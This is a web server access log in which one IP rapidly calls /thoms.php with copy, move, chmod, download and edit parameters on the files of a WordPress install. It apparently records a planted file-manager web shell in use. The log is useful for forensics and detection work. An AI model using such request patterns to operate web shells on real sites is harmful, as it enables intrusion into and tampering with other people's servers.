45.135.193.11 - - [11/Sep/2026:23:31:38 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:38 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-mail.php&finish=1&move=1&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-mail.php&finish=1&move=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:38 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-mail.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:38 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22214 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-mail.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:38 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-mail.php&finish=1&move=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:39 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:39 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fxmlrpc.php&finish=1&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fxmlrpc.php&finish=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:39 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fxmlrpc.php&p=wordpress-6.6.2-zh_TW%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fxmlrpc.php&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:39 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fxmlrpc.php&finish=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:39 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fxmlrpc.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fxmlrpc.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:39 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22212 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fxmlrpc.php&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:39 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22213 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:39 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22213 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fxmlrpc.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:39 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fxmlrpc.php&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fxmlrpc.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:39 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21985 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fxmlrpc.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:39 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fxmlrpc.php&finish=1&move=1&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fxmlrpc.php&finish=1&move=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:39 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fxmlrpc.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fxmlrpc.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:39 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fxmlrpc.php&finish=1&move=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:39 -0400] "GET /thoms.php?edit=wp-signup.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?edit=wp-signup.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:39 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fxmlrpc.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:39 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:39 -0400] "GET /thoms.php?edit=wp-signup.php&env=ace&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?edit=wp-signup.php&env=ace&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:39 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22100 "https://163.245.207.76:443/thoms.php?edit=wp-signup.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:39 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22211 "https://163.245.207.76:443/thoms.php?edit=wp-signup.php&env=ace&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:40 -0400] "GET /setup-config.php?language=zh_TW&step=1 HTTP/1.1" 404 1251 "http://163.245.207.76:443/setup-config.php?language=zh_TW&step=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:40 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Findex.php&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Findex.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:40 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Findex.php&finish=1&move=1&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Findex.php&finish=1&move=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:40 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Findex.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:40 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Findex.php&finish=1&move=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:40 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Findex.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Findex.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:40 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Findex.php&p=wordpress-6.6.2-zh_TW%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Findex.php&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:40 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22281 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:40 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22231 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Findex.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:40 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22268 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Findex.php&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:40 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Findex.php&finish=1&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Findex.php&finish=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:40 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Findex.php&finish=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:40 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Findex.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Findex.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:40 -0400] "GET /thoms.php?chmod=class-wp-http-streams.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-streams.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:40 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-term.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-term.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:40 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22267 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:40 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Findex.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:40 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22196 "https://163.245.207.76:443/thoms.php?chmod=class-wp-http-streams.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:40 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-term.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:41 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=option.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=option.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:41 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fscript-modules.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fscript-modules.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:41 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2FID3&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2FID3&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:41 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=option.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:41 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-pop3.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-pop3.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:41 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22218 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fscript-modules.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:41 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2FID3&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:41 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-pop3.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:41 -0400] "GET /thoms.php?dl=class-wp-object-cache.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-object-cache.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:41 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Frewrite.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Frewrite.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:41 -0400] "GET /thoms.php?dl=class-wp-block.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-block.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:41 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=class-wp-object-cache.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:41 -0400] "GET /thoms.php?dl=class-wp-image-editor-imagick.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-image-editor-imagick.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:41 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Frewrite.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:41 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?dl=class-wp-block.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:41 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=class-wp-image-editor-imagick.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:41 -0400] "GET /thoms.php?dl=embed-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=embed-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:41 -0400] "GET /thoms.php?dl=feed-rdf.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=feed-rdf.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:41 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22246 "https://163.245.207.76:443/thoms.php?dl=embed-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:41 -0400] "GET /thoms.php?dl=class-wp-customize-section.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-section.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:42 -0400] "GET /thoms.php?chmod=class-wp-http-requests-hooks.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-requests-hooks.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:42 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?dl=feed-rdf.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:42 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=class-wp-customize-section.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:42 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?chmod=class-wp-http-requests-hooks.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:42 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-token-map.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-token-map.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
